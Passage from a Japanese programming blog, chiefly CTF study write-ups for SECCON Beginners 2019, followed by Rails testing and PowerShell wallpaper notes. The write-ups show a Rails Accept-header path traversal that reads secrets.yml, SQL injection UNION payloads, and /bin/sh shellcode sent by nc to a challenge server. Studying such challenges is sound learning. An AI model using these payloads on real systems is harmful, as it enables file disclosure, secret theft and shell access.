【SECCON for Beginners 2019】katsudon-okawari 勉強してみる会
この記事は
弱々な自分のためにWriteUp見て勉強するだけなので、詳しく知りたい方は私が参考にしたサイトさんへ飛んでください!
参考サイト
katsudon-okawari
katsudon
という問題が出題されたのですが、想定解でないものが見つかりおそらく再調整された問題がこれ。のちにわかるのですが、katsudon
とは違う鍵の認証をコントローラでやってます。katsudon
は下のコードだった。
serial_code = params[:serial_code] @coupon_id = Rails.application.message_verifier(:coupon).verify(serial_code)
で、みんな恐らくググってたどり着いたであろうこのサイトによると、特定の方法でレンダされたページから、ディレクトリトラバーサル攻撃可能だそうです。普通にやばいけど一般的にRails
では、MVC
がいい感じに呼び合ってくれるので、RESTful
なページでは発生しなさそう。それこそ404
ページとかその辺りの表示に使うかも。
で、今回出題にはRails
のバージョンが5.2.1
との指定があったので、恐らく上記の脆弱性を使用する。
今回渡されるフラグの元は
bQIDwzfjtZdvWLH+HD5jhhZW4917cFKbx7LDRPzsL3JXqQ8VJp5RYfKIw5xqe/xhLg==—cUS9fQetfBC8wsV7—E8vQbRF4vHovYlPFvH3UnQ==
であり、これが掲載されたページのソースには下のコメントがあったのでここから、ファイルを覗き見て複合するって感じだそうです。
.. <div class="main"> bQIDwzfjtZdvWLH+HD5jhhZW4917cFKbx7LDRPzsL3JXqQ8VJp5RYfKIw5xqe/xhLg==--cUS9fQetfBC8wsV7--E8vQbRF4vHovYlPFvH3UnQ== </div> ..
まずコメントのページにアクセス
$curl https://katsudon-okawari.quals.beginners.seccon.jp/flag -H 'Accept: ../../app/controllers/coupon_controller.rb{{' class CouponController < ApplicationController def index end def show serial_code = params[:serial_code] msg_encryptor = ::ActiveSupport::MessageEncryptor.new(Rails.application.secrets[:secret_key_base][0..31], cipher: "aes-256-gcm") @coupon_id = msg_encryptor.encrypt_and_sign(serial_code) end end
Rails.application.secrets[:secret_key_base][0..31]
からconfig/secrets.yml
を読めばキーがわかりそうです。余談ですが、Rails 5.2
からこの手段config/secrets.yml
は廃止されcredentials.yml.enc
になったはずです。(一応この手法も残されてはいた)
$ curl https://katsudon-okawari.quals.beginners.seccon.jp/flag -H 'Accept: ../../config/secrets.yml{{' ... production: secret_key_base: 4e78e9e627139829910a03eedc8b24555fabef034a8f1db7443f69c4d4a1dbee7673687a2bf62d7891aa38d39741395b855ced25200f046c280bb039ce53de34
これでsecret_key_base
がわかったので、解けそうです。
[1] pry(main)> secrets = '4e78e9e627139829910a03eedc8b24555fabef034a8f1db7443f69c4d4a1dbee7673687a2bf62d7891aa38d39741395b855ced25200f046c280bb039ce53de34'[0..31] => "4e78e9e627139829910a03eedc8b2455" [2] pry(main)> [3] pry(main)> [4] pry(main)> msg_encryptor = ::ActiveSupport::MessageEncryptor.new(secrets, cipher: "aes-256-gcm") => #<ActiveSupport::MessageEncryptor:0x00007fe2da26b500 @aead_mode=true, @cipher="aes-256-gcm", @options={:cipher=>"aes-256-gcm"}, @rotations=[], @secret="4e78e9e627139829910a03eedc8b2455", @serializer=Marshal, @sign_secret=nil, @verifier=ActiveSupport::MessageEncryptor::NullVerifier> [5] pry(main)> flag = msg_encryptor.decrypt_and_verify('bQIDwzfjtZdvWLH+HD5jhhZW4917cFKbx7LDRPzsL3JXqQ8VJp5RYfKIw5xqe/xhLg==--cUS9fQetfBC8wsV7--E8vQbRF4vHovYlPFvH3UnQ==') => "ctf4b{06a46a95f2078ae095470992cd02f419}" [6] pry(main)>
フラグは
ctf4b{06a46a95f2078ae095470992cd02f419}
頑張ってれば解けてたかもなぁ、(悔)まぁ惜しくても解けなきゃ0点なんで
余談
こんな感じで他のファイルも見られる。
$ curl nners.seccon.jp/flag -H 'Accept: ../../config/routes.rb{{' Rails.application.routes.draw do # For details on the DSL available within this file, see http://guides.rubyonrails.org/routing.html root to: "application#index" get '/storelists', to: "storelists#index" get '/flag', to: "application#flag" get '/coupon', to: "coupon#index" post '/coupon', to: "coupon#show" end
$curl https://katsudon-okawari.quals.beginners.seccon.jp/flag -H 'Accept: ../../app/controllers/application_controller.rb{{' class ApplicationController < ActionController::Base def index redirect_to "/storelists" end def flag render file: "#{Rails.root}/flag.txt" end
Rails
のコントローラの命名規則とか守ってなかったり、ルーティングも即席っぽかったりと、CTF
の問題を作る人はきっと大変なんだろうなぁ、ありがたいなぁと思いました。
【SECCON for Beginners2019】復習
昨年に引き続き..
今年も参加しました。今年はBornOn21
というチームで167/666
位という結果でした。正直僕はほぼ貢献できてないです(去年より難しくなってた?)。なのでWriteUpという見出しは使わないで、もう完全に他の方の解き方を見て復習する記事にします。特に自分が解こうとして解けなかった問題をここに残します。
参考サイト
今回は備忘録なのでこちらの参考サイトさんを見てくださいね。
注意
WriteUp
じゃないですからね。
[Reversing] Seccompare
コマンドライン引数とフラグをstrcmp
で比較している感じ。radare2
で開いたら比べる文字が見えるので、そのまま解けます。
ctf4b{5tr1ngs_1s_n0t_en0ugh}
[Web] Ramen
店員と一言を検索するフォームがあり、そこにSQLインジェクションの脆弱性があるようです。UNION
句ではカラムの数を同じにしなければエラーになるんですね。SQLに弱いので勉強になりました。
' UNION SELECT table_name,column_name FROM Information_schema.COLUMNS; # ' UNION SELECT 1, flag FROM flag; #
僕はテーブル名を調べるときにこんな感じでやりましたが、上の方がスマートですね。
a' or '1'='1' UNION ALL (SELECT TABLE_SCHEMA,TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE') --
[Web] Katsudon
問題文。
Rails 5.2.1で作られたサイトです。 https://katsudon.quals.beginners.seccon.jp クーポンコードを復号するコードは以下の通りですが、まだ実装されてないようです。 フラグは以下にあります。 https://katsudon.quals.beginners.seccon.jp/flag # app/controllers/coupon_controller.rb class CouponController < ApplicationController def index end def show serial_code = params[:serial_code] @coupon_id = Rails.application.message_verifier(:coupon).verify(serial_code) end end
で、表示されるflag
は下になります。
BAhJIiVjdGY0YntLMzNQX1kwVVJfNTNDUjM3X0szWV9CNDUzfQY6BkVU--0def7fcd357f759fe8da819edd081a3a73b6052a
問題文を見た感じ、message_verifier
をいじるのかと思いましたが、渡されたフラグの前半部分をbase64
でデコードするだけでした。。。
ctf4b{K33P_Y0UR_53CR37_K3Y_B453}
Rails
のプロジェクト作って実際に走らせたりと色々迷走しました。
[Crypto] So Tired
初めはbase64
の文字列が渡されるのでデコードし、それをfile
コマンドで調べるとzlib
形式で圧縮されている事がわかるそうです。簡単なデコードは下のコマンドでできます。
base64 -d encrypted.txt > out.txt
import zlib import base64 data = open("encrypted.txt").read() while True: data = base64.b64decode(data) print(data) # どちらで答えが出るかわからない data = zlib.decompress(data) print(data)
[Misc] containers
foremost
で渡されたdataを解析したら、下の画像が出てきました。これ、正しい解法なのでしょうか?
ctf4b{e52df60c058746a66e4ac4f34db6fc81}
[Pwnable] shellcoder
送ったシェルコードをそのまま実行してくれるらしいのですが、binsh
の文字が入っているものは排除されるらしいです。
\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05
Linux/x86-64 - Execute /bin/sh - 27 bytes
root@kali:~/Downloads/seccon4b2019# echo -en '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05' > shell.bin root@kali:~/Downloads/seccon4b2019# hexdump -C shell.bin 00000000 31 c0 48 bb d1 9d 96 91 d0 8c 97 ff 48 f7 db 53 |1.H.........H..S| 00000010 54 5f 99 52 57 54 5e b0 3b 0f 05 |T_.RWT^.;..| 0000001b root@kali:~/Downloads/seccon4b2019# root@kali:~/Downloads/seccon4b2019# cat shell.bin - | nc 153.120.129.186 20000 Are you shellcoder? ls flag.txt shellcoder cat flag.txt ctf4b{Byp4ss_us!ng6_X0R_3nc0de}
ctf4b{Byp4ss_us!ng6_X0R_3nc0de}
[Web] Dump
作者さんの解法 takahoyo.hatenablog.com
最後に
全く歯が立たなかった。。
【RubyOnRails】after_initializeとFactoryBot
ActiveRecordのコールバック
まずは下のサイトさんをご覧ください。
# Hoge.create()の実行順 hoge = Hoge.new(name: "hoge") #initialize after_initialize #newメソッドで生成したときのみ hoge.save! #BEGIN TRANSACTION before_validation #validation after_validation #ROLLBACK after_rollback #validationに失敗した時のみ before_save around_save before_create around_create #INSERT INTO "hoges" after_create after_save # COMMIT after_commit # 引用元:https://qiita.com/rtoya/items/29cef3e328299781a328
(引用元ではafter_initialize
はnew
の時のみとありますが、インスタンスが生成されるたびに呼ばれるので、Hoge.create
やHoge.first
等を使用した場合も呼ばれるはずです。)
で今回after_initialize
で呼ばれるメソッドをテストしたかったというお話です。
そもそも
上に書いたように、new
で呼ぶ以外にもafter_initialize
を走らせる方法はたくさんあるので、基本的にモデルのコールバックテストをするのには困らないはずです。
ですが、私はFactoryBot.new(:hoge)を呼ぶと同時にafter_initialize
を見ようとしたためハマりました。
FactoryBot.create(:hoge)と、Hoge.create()
てっきり同じように呼ばれるのかと思いきや、若干違うようです。
create
の引数に初期値を渡してインスタンスを生成する場合、FactoryBot
の方はafter_initialize
時に初期値がまだ反映されません。
つまり..
本家のHoge.create(name: "hoge")
#initialize after_initialize # すでにself.name に"hoge"が入っている hoge.save! #BEGIN TRANSACTION before_validation #validation after_validation
FactoryBot.create(:hoge,name:"hoge")
#initialize after_initialize # まだselfは全てnil hoge.save! #BEGIN TRANSACTION before_validation # self.nameに"hoge"が入っている。 #validation after_validation
という感じになります。
余談
factorybot
の値を使うのであれば、
Hoge.create(FactoryBot.attributes_for(:hoge))
とかどうでしょう?
よく理解できていないので、何かあれば教えてください。
【RSpec】ActionMailer deliver_now が呼ばれる事をテストする
やりたかった事
HogeMailer
があり、HogeDelivery
のインスタンスメソッド(send_email
)内でHogeMailer
を使ってメールを飛ばしていました。
私は今HogeDelivery
のモデルテストを書いていたのでsend_email
のテストを書こうとしました。しかし、ActionMailer::Base.deliveries.count
等は使えません(なぜかは知らないので聞かないで) ので、実際にメールが送信できたのか別手段でテストしようと思ったのが始まり。
前提
class HogeMalier < ActionMailer::Base def send_hoge mail(to: params[:to], template: params[:template],......) end end
class HogeDelivery < ActiveRecord::Base def send_email # 色々処理する # Userクラスからuserを引っ張ったり ... HogeMailer.with(toとかsubjectとか).send_hoge.deliver_now # ここがdeliver_laterの場合もある end end
deliver_later
の場合
deliver_later
はActiveJob
を利用して、非同期的にメールを送信します。have_enqueued_job
でメール送信ジョブが登録されたことを確認できます。同時にenqueued_jobs
からはその情報を取得することができるので、中身をテストしたい場合はこちらを使います。
describe 'HogeDelivery', type: :model do subject{send_mail}(hoge_delivery.send_email) # 引数に送信先の情報を渡す実装ならここ変更 let!(:hoge_delivery){create(:hoge_delivery)} let!(:user){create(:user)} it 'enqueue a job' do expect { send_mail }.to have_enqueued_job.on_queue("mailers") # ジョブが登録される end it 'use user name for "to" value' do send_mail expect(enqueued_jobs[0][:args][3]["to"]).to eq user.name # ジョブから値を引っ張ってくる end end
deliver_now
の場合
deliver_now
はActiveJob
を使用せずに同期的に送信するため、上の方法では送信できているのか確認できません。
しかし、よくよく考えるとこのHogeDelivery
モデルテストで担保すべきは、deliver_now
がしっかり呼ばれることです。deliver_now
はあくまでHogeMailer
の責務として考えた場合、スタブを利用してメソッドが呼ばれることのみをテストすれば良さそうです。
describe 'HogeDelivery', type: :model do subject{send_mail}(hoge_delivery.send_email) # 引数に送信先の情報を渡す実装ならここ変更 let!(:hoge_delivery){create(:hoge_delivery)} let!(:user){create(:user)} it "call #deliver_later" do message_delivery = instance_double(ActionMailer::MessageDelivery) allow(HogeMailer).to receive_message_chain(:with, :send_hoge). with(to: to, subject: ..とか色々).with(no_args). and_return(message_delivery) expect(message_delivery).to receive(:deliver_later send_mail end end
しかし、send_email
内ではUser
クラスから情報を引き出してきたりと、テストすべき部分はあります。そのため、deliver_later
を使っているのであれば、上のような期待した値が格納されているかテストするのも、大事かと思います。
余談
スタブは、メソッドを実行させずに欲しい値を取得するもの、モックは指定のメソッドが実行されたかどうかをチェックするためな感じだそうです。
スタブはallow
、モックはexpect
。まぁ詳しくは参考サイトを見てみてください。
参考サイト
【PowerShell】コマンドで壁紙を変更する
まずググると
いろんな情報が出てきますね。ただ、Windows10
に対して有効な手段が見つけにくかったので、ここに残しておきます。
有効であったもの
$setwallpapersource = @" using System.Runtime.InteropServices; public class wallpaper { public const int SetDesktopWallpaper = 20; public const int UpdateIniFile = 0x01; public const int SendWinIniChange = 0x02; [DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)] private static extern int SystemParametersInfo (int uAction, int uParam, string lpvParam, int fuWinIni); public static void SetWallpaper ( string path ) { SystemParametersInfo( SetDesktopWallpaper, 0, path, UpdateIniFile | SendWinIniChange ); } } "@ Add-Type -TypeDefinition $setwallpapersource [wallpaper]::SetWallpaper("画像があるパス")
上のコマンドを管理者の権限で実行してください。ps
ファイルで一度に実行したい場合はpowershell
でスクリプトが読めるようにしてから行ってください。
注意としては、最後の画像があるパスはユーザのフォルダ以下になるとなぜか反映されません。なので、例えばC
直下とか、C:¥Users¥
内であれば読み込まれました。
微妙だったもの
reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d wallpaper_path /f RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
一応変更は確認できましたが、2行目の変更を反映させるコマンドが不安定で、何十回も押す必要がありました。確実性がなかったので、今回は使いませんでした。
余談
例えば、webサイトから画像を引っ張ってきてそれを壁紙にする場合下の流れになります。
$setwallpapersource = @" using System.Runtime.InteropServices; public class wallpaper { public const int SetDesktopWallpaper = 20; public const int UpdateIniFile = 0x01; public const int SendWinIniChange = 0x02; [DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)] private static extern int SystemParametersInfo (int uAction, int uParam, string lpvParam, int fuWinIni); public static void SetWallpaper ( string path ) { SystemParametersInfo( SetDesktopWallpaper, 0, path, UpdateIniFile | SendWinIniChange ); } } "@ Add-Type -TypeDefinition $setwallpapersource [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Invoke-WebRequest -Uri 画像の直リンなど -OutFile C:¥Users¥.w.jpg Start-Sleep -s 10 #ダウンロードが終わるのを念の為まつ [wallpaper]::SetWallpaper("C:¥Users¥.w.jpg")